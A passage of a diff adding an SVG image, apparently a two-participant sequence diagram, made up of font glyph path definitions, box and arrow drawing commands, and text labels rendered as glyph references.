+<path style="stroke:none;" d="M 0.15625 -9.03125 L 1.265625 -9.03125 L 1.265625 -10.8125 L 2.5625 -11.234375 L 2.5625 -9.03125 L 4.515625 -9.03125 L 4.515625 -7.859375 L 2.5625 -7.859375 L 2.5625 -2.46875 C 2.5625 -1.945312 2.625 -1.566406 2.75 -1.328125 C 2.875 -1.085938 3.082031 -0.96875 3.375 -0.96875 C 3.613281 -0.96875 3.820312 -0.992188 4 -1.046875 C 4.175781 -1.109375 4.363281 -1.179688 4.5625 -1.265625 L 4.828125 -0.234375 C 4.554688 -0.0976562 4.257812 0.00390625 3.9375 0.078125 C 3.625 0.160156 3.289062 0.203125 2.9375 0.203125 C 2.34375 0.203125 1.914062 0.0078125 1.65625 -0.375 C 1.394531 -0.769531 1.265625 -1.410156 1.265625 -2.296875 L 1.265625 -7.859375 L 0.15625 -7.859375 Z M 0.15625 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-12">
+<path style="stroke:none;" d="M 0.671875 -4.515625 C 0.671875 -6.140625 0.945312 -7.332031 1.5 -8.09375 C 2.0625 -8.863281 2.863281 -9.25 3.90625 -9.25 C 5.007812 -9.25 5.820312 -8.859375 6.34375 -8.078125 C 6.875 -7.296875 7.140625 -6.109375 7.140625 -4.515625 C 7.140625 -2.878906 6.851562 -1.679688 6.28125 -0.921875 C 5.71875 -0.160156 4.925781 0.21875 3.90625 0.21875 C 2.789062 0.21875 1.972656 -0.171875 1.453125 -0.953125 C 0.929688 -1.734375 0.671875 -2.921875 0.671875 -4.515625 Z M 2.015625 -4.515625 C 2.015625 -3.984375 2.046875 -3.5 2.109375 -3.0625 C 2.179688 -2.632812 2.289062 -2.265625 2.4375 -1.953125 C 2.59375 -1.640625 2.789062 -1.394531 3.03125 -1.21875 C 3.269531 -1.039062 3.5625 -0.953125 3.90625 -0.953125 C 4.53125 -0.953125 5 -1.234375 5.3125 -1.796875 C 5.625 -2.359375 5.78125 -3.265625 5.78125 -4.515625 C 5.78125 -5.035156 5.742188 -5.515625 5.671875 -5.953125 C 5.609375 -6.390625 5.5 -6.765625 5.34375 -7.078125 C 5.195312 -7.390625 5.003906 -7.632812 4.765625 -7.8125 C 4.523438 -7.988281 4.238281 -8.078125 3.90625 -8.078125 C 3.289062 -8.078125 2.820312 -7.789062 2.5 -7.21875 C 2.175781 -6.65625 2.015625 -5.753906 2.015625 -4.515625 Z M 2.015625 -4.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-13">
+<path style="stroke:none;" d="M 6.75 -3.109375 C 6.75 -2.492188 6.753906 -1.9375 6.765625 -1.4375 C 6.785156 -0.9375 6.832031 -0.445312 6.90625 0.03125 L 6.015625 0.03125 L 5.71875 -1.046875 L 5.65625 -1.046875 C 5.488281 -0.679688 5.222656 -0.378906 4.859375 -0.140625 C 4.492188 0.0976562 4.0625 0.21875 3.5625 0.21875 C 2.582031 0.21875 1.851562 -0.160156 1.375 -0.921875 C 0.90625 -1.679688 0.671875 -2.875 0.671875 -4.5 C 0.671875 -6.039062 0.960938 -7.207031 1.546875 -8 C 2.128906 -8.789062 2.929688 -9.1875 3.953125 -9.1875 C 4.304688 -9.1875 4.582031 -9.164062 4.78125 -9.125 C 4.988281 -9.082031 5.210938 -9.015625 5.453125 -8.921875 L 5.453125 -12.640625 L 6.75 -12.640625 Z M 5.453125 -7.609375 C 5.285156 -7.753906 5.09375 -7.859375 4.875 -7.921875 C 4.664062 -7.984375 4.390625 -8.015625 4.046875 -8.015625 C 3.410156 -8.015625 2.910156 -7.722656 2.546875 -7.140625 C 2.191406 -6.566406 2.015625 -5.679688 2.015625 -4.484375 C 2.015625 -3.953125 2.046875 -3.472656 2.109375 -3.046875 C 2.179688 -2.617188 2.285156 -2.25 2.421875 -1.9375 C 2.566406 -1.625 2.75 -1.378906 2.96875 -1.203125 C 3.195312 -1.035156 3.472656 -0.953125 3.796875 -0.953125 C 4.660156 -0.953125 5.210938 -1.46875 5.453125 -2.5 Z M 5.453125 -7.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-14">
+<path style="stroke:none;" d="M 1.296875 -12.640625 L 2.546875 -12.640625 L 2.078125 -9.15625 L 1.296875 -9.15625 Z M 1.296875 -12.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-15">
+<path style="stroke:none;" d="M 6.046875 -0.453125 C 5.742188 -0.222656 5.398438 -0.0546875 5.015625 0.046875 C 4.628906 0.160156 4.226562 0.21875 3.8125 0.21875 C 3.226562 0.21875 2.738281 0.109375 2.34375 -0.109375 C 1.945312 -0.335938 1.625 -0.660156 1.375 -1.078125 C 1.132812 -1.492188 0.957031 -1.992188 0.84375 -2.578125 C 0.726562 -3.160156 0.671875 -3.804688 0.671875 -4.515625 C 0.671875 -6.054688 0.941406 -7.226562 1.484375 -8.03125 C 2.035156 -8.84375 2.820312 -9.25 3.84375 -9.25 C 4.3125 -9.25 4.710938 -9.207031 5.046875 -9.125 C 5.390625 -9.039062 5.679688 -8.929688 5.921875 -8.796875 L 5.5625 -7.65625 C 5.082031 -7.9375 4.554688 -8.078125 3.984375 -8.078125 C 3.335938 -8.078125 2.847656 -7.789062 2.515625 -7.21875 C 2.179688 -6.644531 2.015625 -5.742188 2.015625 -4.515625 C 2.015625 -4.023438 2.050781 -3.5625 2.125 -3.125 C 2.195312 -2.6875 2.316406 -2.304688 2.484375 -1.984375 C 2.660156 -1.671875 2.878906 -1.421875 3.140625 -1.234375 C 3.410156 -1.046875 3.742188 -0.953125 4.140625 -0.953125 C 4.453125 -0.953125 4.742188 -1.003906 5.015625 -1.109375 C 5.285156 -1.222656 5.503906 -1.351562 5.671875 -1.5 Z M 6.046875 -0.453125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-16">
+<path style="stroke:none;" d="M 5.296875 0 L 5.296875 -5.359375 C 5.296875 -5.847656 5.28125 -6.257812 5.25 -6.59375 C 5.21875 -6.9375 5.148438 -7.21875 5.046875 -7.4375 C 4.953125 -7.65625 4.820312 -7.816406 4.65625 -7.921875 C 4.488281 -8.023438 4.265625 -8.078125 3.984375 -8.078125 C 3.578125 -8.078125 3.234375 -7.914062 2.953125 -7.59375 C 2.671875 -7.269531 2.472656 -6.90625 2.359375 -6.5 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 1.984375 -9.03125 L 2.21875 -8.078125 L 2.28125 -8.078125 C 2.53125 -8.421875 2.828125 -8.703125 3.171875 -8.921875 C 3.523438 -9.140625 3.972656 -9.25 4.515625 -9.25 C 4.972656 -9.25 5.347656 -9.148438 5.640625 -8.953125 C 5.941406 -8.753906 6.175781 -8.398438 6.34375 -7.890625 C 6.5625 -8.316406 6.867188 -8.648438 7.265625 -8.890625 C 7.671875 -9.128906 8.113281 -9.25 8.59375 -9.25 C 8.988281 -9.25 9.328125 -9.195312 9.609375 -9.09375 C 9.898438 -8.988281 10.128906 -8.804688 10.296875 -8.546875 C 10.472656 -8.296875 10.601562 -7.953125 10.6875 -7.515625 C 10.769531 -7.085938 10.8125 -6.550781 10.8125 -5.90625 L 10.8125 0 L 9.515625 0 L 9.515625 -5.75 C 9.515625 -6.53125 9.4375 -7.113281 9.28125 -7.5 C 9.132812 -7.882812 8.789062 -8.078125 8.25 -8.078125 C 7.789062 -8.078125 7.425781 -7.929688 7.15625 -7.640625 C 6.882812 -7.359375 6.695312 -6.976562 6.59375 -6.5 L 6.59375 0 Z M 5.296875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-17">
+<path style="stroke:none;" d="M 1.28125 -9.03125 L 2.578125 -9.03125 L 2.578125 0 L 1.28125 0 Z M 1.046875 -11.78125 C 1.046875 -12.0625 1.125 -12.289062 1.28125 -12.46875 C 1.445312 -12.65625 1.664062 -12.75 1.9375 -12.75 C 2.195312 -12.75 2.414062 -12.660156 2.59375 -12.484375 C 2.769531 -12.316406 2.859375 -12.082031 2.859375 -11.78125 C 2.859375 -11.488281 2.769531 -11.257812 2.59375 -11.09375 C 2.414062 -10.9375 2.195312 -10.859375 1.9375 -10.859375 C 1.664062 -10.859375 1.445312 -10.941406 1.28125 -11.109375 C 1.125 -11.273438 1.046875 -11.5 1.046875 -11.78125 Z M 1.046875 -11.78125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-18">
+<path style="stroke:none;" d="M 2.21875 -3.203125 C 2.1875 -3.722656 2.21875 -4.1875 2.3125 -4.59375 C 2.414062 -5.007812 2.554688 -5.390625 2.734375 -5.734375 C 2.921875 -6.078125 3.117188 -6.398438 3.328125 -6.703125 C 3.546875 -7.003906 3.75 -7.3125 3.9375 -7.625 C 4.132812 -7.945312 4.296875 -8.285156 4.421875 -8.640625 C 4.546875 -8.992188 4.609375 -9.394531 4.609375 -9.84375 C 4.609375 -10.394531 4.488281 -10.835938 4.25 -11.171875 C 4.007812 -11.515625 3.597656 -11.6875 3.015625 -11.6875 C 2.671875 -11.6875 2.328125 -11.625 1.984375 -11.5 C 1.648438 -11.375 1.347656 -11.210938 1.078125 -11.015625 L 0.578125 -12.03125 C 0.941406 -12.269531 1.335938 -12.46875 1.765625 -12.625 C 2.191406 -12.78125 2.710938 -12.859375 3.328125 -12.859375 C 4.191406 -12.859375 4.84375 -12.601562 5.28125 -12.09375 C 5.726562 -11.59375 5.953125 -10.90625 5.953125 -10.03125 C 5.953125 -9.507812 5.882812 -9.039062 5.75 -8.625 C 5.625 -8.21875 5.460938 -7.84375 5.265625 -7.5 C 5.078125 -7.15625 4.867188 -6.828125 4.640625 -6.515625 C 4.410156 -6.203125 4.195312 -5.878906 4 -5.546875 C 3.800781 -5.222656 3.632812 -4.867188 3.5 -4.484375 C 3.375 -4.109375 3.3125 -3.679688 3.3125 -3.203125 Z M 1.953125 -0.8125 C 1.953125 -1.144531 2.03125 -1.394531 2.1875 -1.5625 C 2.351562 -1.738281 2.578125 -1.828125 2.859375 -1.828125 C 3.128906 -1.828125 3.34375 -1.738281 3.5 -1.5625 C 3.664062 -1.394531 3.75 -1.144531 3.75 -0.8125 C 3.75 -0.457031 3.664062 -0.195312 3.5 -0.03125 C 3.34375 0.132812 3.128906 0.21875 2.859375 0.21875 C 2.578125 0.21875 2.351562 0.132812 2.1875 -0.03125 C 2.03125 -0.195312 1.953125 -0.457031 1.953125 -0.8125 Z M 1.953125 -0.8125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-19">
+<path style="stroke:none;" d="M 1.0625 -1.6875 C 1.289062 -1.519531 1.613281 -1.367188 2.03125 -1.234375 C 2.445312 -1.097656 2.921875 -1.03125 3.453125 -1.03125 C 4.128906 -1.03125 4.675781 -1.191406 5.09375 -1.515625 C 5.507812 -1.847656 5.71875 -2.375 5.71875 -3.09375 C 5.71875 -3.5625 5.597656 -3.96875 5.359375 -4.3125 C 5.117188 -4.664062 4.816406 -4.988281 4.453125 -5.28125 C 4.097656 -5.570312 3.710938 -5.859375 3.296875 -6.140625 C 2.878906 -6.429688 2.488281 -6.75 2.125 -7.09375 C 1.769531 -7.4375 1.46875 -7.828125 1.21875 -8.265625 C 0.976562 -8.710938 0.859375 -9.25 0.859375 -9.875 C 0.859375 -10.882812 1.160156 -11.632812 1.765625 -12.125 C 2.378906 -12.613281 3.175781 -12.859375 4.15625 -12.859375 C 4.757812 -12.859375 5.296875 -12.800781 5.765625 -12.6875 C 6.234375 -12.582031 6.613281 -12.445312 6.90625 -12.28125 L 6.46875 -11.09375 C 6.25 -11.226562 5.9375 -11.347656 5.53125 -11.453125 C 5.132812 -11.554688 4.671875 -11.609375 4.140625 -11.609375 C 3.484375 -11.609375 3 -11.445312 2.6875 -11.125 C 2.375 -10.8125 2.21875 -10.414062 2.21875 -9.9375 C 2.21875 -9.507812 2.335938 -9.132812 2.578125 -8.8125 C 2.816406 -8.488281 3.117188 -8.179688 3.484375 -7.890625 C 3.847656 -7.597656 4.238281 -7.304688 4.65625 -7.015625 C 5.070312 -6.722656 5.457031 -6.394531 5.8125 -6.03125 C 6.175781 -5.664062 6.476562 -5.253906 6.71875 -4.796875 C 6.957031 -4.347656 7.078125 -3.804688 7.078125 -3.171875 C 7.078125 -2.117188 6.765625 -1.289062 6.140625 -0.6875 C 5.515625 -0.0820312 4.628906 0.21875 3.484375 0.21875 C 2.765625 0.21875 2.171875 0.148438 1.703125 0.015625 C 1.242188 -0.117188 0.875 -0.269531 0.59375 -0.4375 Z M 1.0625 -1.6875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-20">
+<path style="stroke:none;" d="M 2.234375 -9.03125 L 2.234375 -3.5 C 2.234375 -2.582031 2.328125 -1.925781 2.515625 -1.53125 C 2.703125 -1.144531 3.046875 -0.953125 3.546875 -0.953125 C 3.796875 -0.953125 4.019531 -1.003906 4.21875 -1.109375 C 4.414062 -1.210938 4.59375 -1.347656 4.75 -1.515625 C 4.90625 -1.679688 5.039062 -1.875 5.15625 -2.09375 C 5.28125 -2.3125 5.378906 -2.535156 5.453125 -2.765625 L 5.453125 -9.03125 L 6.75 -9.03125 L 6.75 -2.5625 C 6.75 -2.132812 6.765625 -1.6875 6.796875 -1.21875 C 6.828125 -0.757812 6.875 -0.351562 6.9375 0 L 6.015625 0 L 5.6875 -1.265625 L 5.640625 -1.265625 C 5.429688 -0.867188 5.132812 -0.519531 4.75 -0.21875 C 4.363281 0.0703125 3.882812 0.21875 3.3125 0.21875 C 2.925781 0.21875 2.585938 0.164062 2.296875 0.0625 C 2.003906 -0.03125 1.753906 -0.203125 1.546875 -0.453125 C 1.347656 -0.703125 1.195312 -1.046875 1.09375 -1.484375 C 0.988281 -1.929688 0.9375 -2.492188 0.9375 -3.171875 L 0.9375 -9.03125 Z M 2.234375 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-21">
+<path style="stroke:none;" d="M 1.0625 -9.03125 L 1.984375 -9.03125 L 2.21875 -8.078125 L 2.28125 -8.078125 C 2.445312 -8.421875 2.664062 -8.691406 2.9375 -8.890625 C 3.207031 -9.085938 3.535156 -9.1875 3.921875 -9.1875 C 4.191406 -9.1875 4.503906 -9.132812 4.859375 -9.03125 L 4.609375 -7.71875 C 4.296875 -7.820312 4.019531 -7.875 3.78125 -7.875 C 3.394531 -7.875 3.078125 -7.757812 2.828125 -7.53125 C 2.585938 -7.3125 2.429688 -7.015625 2.359375 -6.640625 L 2.359375 0 L 1.0625 0 Z M 1.0625 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-22">
+<path style="stroke:none;" d="M 5.6875 0 L 5.6875 -5.484375 C 5.6875 -6.328125 5.585938 -6.96875 5.390625 -7.40625 C 5.191406 -7.851562 4.796875 -8.078125 4.203125 -8.078125 C 3.785156 -8.078125 3.40625 -7.925781 3.0625 -7.625 C 2.71875 -7.320312 2.484375 -6.941406 2.359375 -6.484375 L 2.359375 0 L 1.0625 0 L 1.0625 -12.640625 L 2.359375 -12.640625 L 2.359375 -8.1875 L 2.421875 -8.1875 C 2.660156 -8.5 2.957031 -8.753906 3.3125 -8.953125 C 3.664062 -9.148438 4.109375 -9.25 4.640625 -9.25 C 5.035156 -9.25 5.378906 -9.191406 5.671875 -9.078125 C 5.972656 -8.972656 6.21875 -8.785156 6.40625 -8.515625 C 6.601562 -8.253906 6.75 -7.90625 6.84375 -7.46875 C 6.9375 -7.03125 6.984375 -6.484375 6.984375 -5.828125 L 6.984375 0 Z M 5.6875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-23">
+<path style="stroke:none;" d="M 1.0625 -9.03125 L 1.984375 -9.03125 L 2.1875 -8.0625 L 2.265625 -8.0625 C 2.703125 -8.851562 3.398438 -9.25 4.359375 -9.25 C 5.304688 -9.25 6.015625 -8.890625 6.484375 -8.171875 C 6.960938 -7.460938 7.203125 -6.304688 7.203125 -4.703125 C 7.203125 -3.941406 7.125 -3.253906 6.96875 -2.640625 C 6.8125 -2.035156 6.585938 -1.519531 6.296875 -1.09375 C 6.015625 -0.664062 5.664062 -0.335938 5.25 -0.109375 C 4.832031 0.109375 4.367188 0.21875 3.859375 0.21875 C 3.515625 0.21875 3.238281 0.195312 3.03125 0.15625 C 2.832031 0.113281 2.609375 0.0234375 2.359375 -0.109375 L 2.359375 3.609375 L 1.0625 3.609375 Z M 2.359375 -1.421875 C 2.535156 -1.273438 2.726562 -1.160156 2.9375 -1.078125 C 3.144531 -0.992188 3.425781 -0.953125 3.78125 -0.953125 C 4.414062 -0.953125 4.921875 -1.273438 5.296875 -1.921875 C 5.671875 -2.578125 5.859375 -3.507812 5.859375 -4.71875 C 5.859375 -5.21875 5.820312 -5.671875 5.75 -6.078125 C 5.6875 -6.492188 5.582031 -6.847656 5.4375 -7.140625 C 5.289062 -7.441406 5.101562 -7.671875 4.875 -7.828125 C 4.65625 -7.992188 4.382812 -8.078125 4.0625 -8.078125 C 3.1875 -8.078125 2.617188 -7.539062 2.359375 -6.46875 Z M 2.359375 -1.421875 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-24">
+<path style="stroke:none;" d="M 6.75 0.421875 C 6.75 1.585938 6.488281 2.445312 5.96875 3 C 5.457031 3.550781 4.707031 3.828125 3.71875 3.828125 C 3.113281 3.828125 2.617188 3.773438 2.234375 3.671875 C 1.847656 3.566406 1.535156 3.453125 1.296875 3.328125 L 1.6875 2.203125 C 1.925781 2.304688 2.1875 2.40625 2.46875 2.5 C 2.757812 2.601562 3.117188 2.65625 3.546875 2.65625 C 4.273438 2.65625 4.773438 2.445312 5.046875 2.03125 C 5.316406 1.625 5.453125 0.941406 5.453125 -0.015625 L 5.453125 -0.6875 L 5.40625 -0.6875 C 5.207031 -0.40625 4.957031 -0.1875 4.65625 -0.03125 C 4.351562 0.125 3.96875 0.203125 3.5 0.203125 C 2.53125 0.203125 1.816406 -0.171875 1.359375 -0.921875 C 0.898438 -1.679688 0.671875 -2.867188 0.671875 -4.484375 C 0.671875 -6.035156 0.96875 -7.207031 1.5625 -8 C 2.15625 -8.789062 3.035156 -9.1875 4.203125 -9.1875 C 4.773438 -9.1875 5.265625 -9.132812 5.671875 -9.03125 C 6.078125 -8.925781 6.4375 -8.800781 6.75 -8.65625 Z M 5.453125 -7.734375 C 5.085938 -7.921875 4.625 -8.015625 4.0625 -8.015625 C 3.445312 -8.015625 2.953125 -7.734375 2.578125 -7.171875 C 2.203125 -6.617188 2.015625 -5.726562 2.015625 -4.5 C 2.015625 -3.988281 2.046875 -3.519531 2.109375 -3.09375 C 2.171875 -2.664062 2.273438 -2.289062 2.421875 -1.96875 C 2.566406 -1.65625 2.75 -1.410156 2.96875 -1.234375 C 3.195312 -1.054688 3.472656 -0.96875 3.796875 -0.96875 C 4.253906 -0.96875 4.613281 -1.085938 4.875 -1.328125 C 5.144531 -1.578125 5.335938 -1.941406 5.453125 -2.421875 Z M 5.453125 -7.734375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-25">
+<path style="stroke:none;" d="M 7.828125 -11.390625 L 4.71875 -11.390625 L 4.71875 0 L 3.359375 0 L 3.359375 -11.390625 L 0.25 -11.390625 L 0.25 -12.640625 L 7.828125 -12.640625 Z M 7.828125 -11.390625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-26">
+<path style="stroke:none;" d="M 9 -8.3125 L 9.15625 -10.21875 L 9.078125 -10.21875 L 8.5 -8.4375 L 5.953125 -2.9375 L 5.515625 -2.9375 L 2.828125 -8.4375 L 2.28125 -10.21875 L 2.203125 -10.21875 L 2.453125 -8.3125 L 2.453125 0 L 1.15625 0 L 1.15625 -12.640625 L 2.296875 -12.640625 L 5.34375 -6.4375 L 5.796875 -4.953125 L 5.828125 -4.953125 L 6.265625 -6.453125 L 9.15625 -12.640625 L 10.34375 -12.640625 L 10.34375 0 L 9 0 Z M 9 -8.3125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-27">
+<path style="stroke:none;" d="M 7.25 0 L 1.15625 0 L 1.15625 -12.640625 L 2.515625 -12.640625 L 2.515625 -1.25 L 7.25 -1.25 Z M 7.25 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-28">
+<path style="stroke:none;" d="M 0.703125 -0.8125 C 0.703125 -1.144531 0.78125 -1.394531 0.9375 -1.5625 C 1.101562 -1.738281 1.328125 -1.828125 1.609375 -1.828125 C 1.878906 -1.828125 2.097656 -1.738281 2.265625 -1.5625 C 2.429688 -1.394531 2.515625 -1.144531 2.515625 -0.8125 C 2.515625 -0.457031 2.429688 -0.195312 2.265625 -0.03125 C 2.097656 0.132812 1.878906 0.21875 1.609375 0.21875 C 1.328125 0.21875 1.101562 0.132812 0.9375 -0.03125 C 0.78125 -0.195312 0.703125 -0.457031 0.703125 -0.8125 Z M 0.703125 -0.8125 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface5429">
+<rect x="0" y="0" width="525" height="301" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7 6 L 33.2 6 L 33.2 21 L 7 21 Z M 7 6 " transform="matrix(20,0,0,20,-139,-119)"/>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 8.3 7 C 8.134375 7 8 7.134375 8 7.3 L 8 8.7 C 8 8.865625 8.134375 9 8.3 9 L 13.7 9 C 13.865625 9 14 8.865625 14 8.7 L 14 7.3 C 14 7.134375 13.865625 7 13.7 7 Z M 8.3 7 " transform="matrix(20,0,0,20,-139,-119)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="52.816406" y="49.00217"/>
+  <use xlink:href="#glyph0-2" x="62.260851" y="49.00217"/>
+  <use xlink:href="#glyph0-3" x="67.816406" y="49.00217"/>
+  <use xlink:href="#glyph0-4" x="76.427517" y="49.00217"/>
+  <use xlink:href="#glyph0-5" x="88.371962" y="49.00217"/>
+  <use xlink:href="#glyph0-6" x="95.316406" y="49.00217"/>
+  <use xlink:href="#glyph0-2" x="103.64974" y="49.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 22.3 7 C 22.134375 7 22 7.134375 22 7.3 L 22 8.7 C 22 8.865625 22.134375 9 22.3 9 L 27.7 9 C 27.865625 9 28 8.865625 28 8.7 L 28 7.3 C 28 7.134375 27.865625 7 27.7 7 Z M 22.3 7 " transform="matrix(20,0,0,20,-139,-119)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-7" x="321.429688" y="49.00217"/>
+  <use xlink:href="#glyph0-8" x="329.763021" y="49.00217"/>
+  <use xlink:href="#glyph0-9" x="337.540799" y="49.00217"/>
+  <use xlink:href="#glyph0-10" x="344.763021" y="49.00217"/>
+  <use xlink:href="#glyph0-11" x="353.65191" y="49.00217"/>
+  <use xlink:href="#glyph0-5" x="358.096354" y="49.00217"/>
+  <use xlink:href="#glyph0-6" x="365.040799" y="49.00217"/>
+  <use xlink:href="#glyph0-2" x="373.374132" y="49.00217"/>
+  <use xlink:href="#glyph0-12" x="378.929688" y="49.00217"/>
+  <use xlink:href="#glyph0-6" x="386.707465" y="49.00217"/>
+  <use xlink:href="#glyph0-2" x="395.040799" y="49.00217"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 11 9 L 11 18 " transform="matrix(20,0,0,20,-139,-119)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 25 9 L 25 18 " transform="matrix(20,0,0,20,-139,-119)"/>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 11 11 L 24.45 11 " transform="matrix(20,0,0,20,-139,-119)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 24.45 11.25 L 24.95 11 L 24.45 10.75 Z M 24.45 11.25 " transform="matrix(20,0,0,20,-139,-119)"/>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 130.550781 75.601562 L 311.449219 75.601562 L 311.449219 99 L 130.550781 99 Z M 130.550781 75.601562 "/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-1" x="130.726562" y="94.008681"/>
+  <use xlink:href="#glyph1-2" x="140.448785" y="94.008681"/>
+  <use xlink:href="#glyph1-3" x="147.671007" y="94.008681"/>
+  <use xlink:href="#glyph1-4" x="154.337674" y="94.008681"/>
+  <use xlink:href="#glyph1-5" x="158.782118" y="94.008681"/>
+  <use xlink:href="#glyph1-6" x="162.671007" y="94.008681"/>
+  <use xlink:href="#glyph1-7" x="170.726562" y="94.008681"/>
+  <use xlink:href="#glyph1-8" x="177.948785" y="94.008681"/>
+  <use xlink:href="#glyph1-5" x="186.00434" y="94.008681"/>
+  <use xlink:href="#glyph1-9" x="189.893229" y="94.008681"/>
+  <use xlink:href="#glyph1-5" x="194.059896" y="94.008681"/>
+  <use xlink:href="#glyph1-10" x="197.948785" y="94.008681"/>
+  <use xlink:href="#glyph1-2" x="204.059896" y="94.008681"/>
+  <use xlink:href="#glyph1-2" x="211.282118" y="94.008681"/>
+  <use xlink:href="#glyph1-5" x="218.782118" y="94.008681"/>
+  <use xlink:href="#glyph1-11" x="222.671007" y="94.008681"/>
+  <use xlink:href="#glyph1-12" x="227.393229" y="94.008681"/>
+  <use xlink:href="#glyph1-13" x="235.171007" y="94.008681"/>
+  <use xlink:href="#glyph1-7" x="242.948785" y="94.008681"/>
+  <use xlink:href="#glyph1-3" x="250.171007" y="94.008681"/>
+  <use xlink:href="#glyph1-14" x="256.837674" y="94.008681"/>
+  <use xlink:href="#glyph1-10" x="259.059896" y="94.008681"/>
+  <use xlink:href="#glyph1-5" x="265.171007" y="94.008681"/>
+  <use xlink:href="#glyph1-15" x="269.059896" y="94.008681"/>
+  <use xlink:href="#glyph1-12" x="275.171007" y="94.008681"/>
+  <use xlink:href="#glyph1-16" x="282.948785" y="94.008681"/>
+  <use xlink:href="#glyph1-17" x="294.615451" y="94.008681"/>
+  <use xlink:href="#glyph1-15" x="298.50434" y="94.008681"/>
+  <use xlink:href="#glyph1-18" x="304.893229" y="94.008681"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 11.55 16 L 25 16 " transform="matrix(20,0,0,20,-139,-119)"/>
+<path style="fill-rule:evenodd;fill:rgb(0%,0%,0%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 11.55 15.75 L 11.05 16 L 11.55 16.25 Z M 11.55 15.75 " transform="matrix(20,0,0,20,-139,-119)"/>
+<path style=" stroke:none;fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;" d="M 126.449219 175.601562 L 315.550781 175.601562 L 315.550781 199 L 126.449219 199 Z M 126.449219 175.601562 "/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph1-19" x="126.292969" y="194.008681"/>
+  <use xlink:href="#glyph1-20" x="134.070747" y="194.008681"/>
+  <use xlink:href="#glyph1-21" x="141.848524" y="194.008681"/>
+  <use xlink:href="#glyph1-2" x="146.848524" y="194.008681"/>
+  <use xlink:href="#glyph1-4" x="154.348524" y="194.008681"/>
+  <use xlink:href="#glyph1-5" x="158.792969" y="194.008681"/>
+  <use xlink:href="#glyph1-1" x="162.681858" y="194.008681"/>
+  <use xlink:href="#glyph1-2" x="172.40408" y="194.008681"/>
+  <use xlink:href="#glyph1-21" x="179.90408" y="194.008681"/>
+  <use xlink:href="#glyph1-2" x="184.90408" y="194.008681"/>
+  <use xlink:href="#glyph1-14" x="192.126302" y="194.008681"/>
+  <use xlink:href="#glyph1-10" x="194.348524" y="194.008681"/>
+  <use xlink:href="#glyph1-5" x="200.459635" y="194.008681"/>
+  <use xlink:href="#glyph1-11" x="204.348524" y="194.008681"/>
+  <use xlink:href="#glyph1-22" x="209.348524" y="194.008681"/>
+  <use xlink:href="#glyph1-7" x="217.40408" y="194.008681"/>
+  <use xlink:href="#glyph1-11" x="224.626302" y="194.008681"/>
+  <use xlink:href="#glyph1-5" x="229.626302" y="194.008681"/>
+  <use xlink:href="#glyph1-23" x="233.515191" y="194.008681"/>
+  <use xlink:href="#glyph1-7" x="241.292969" y="194.008681"/>
+  <use xlink:href="#glyph1-24" x="248.515191" y="194.008681"/>
+  <use xlink:href="#glyph1-2" x="256.292969" y="194.008681"/>
+  <use xlink:href="#glyph1-14" x="263.515191" y="194.008681"/>
+  <use xlink:href="#glyph1-10" x="265.737413" y="194.008681"/>
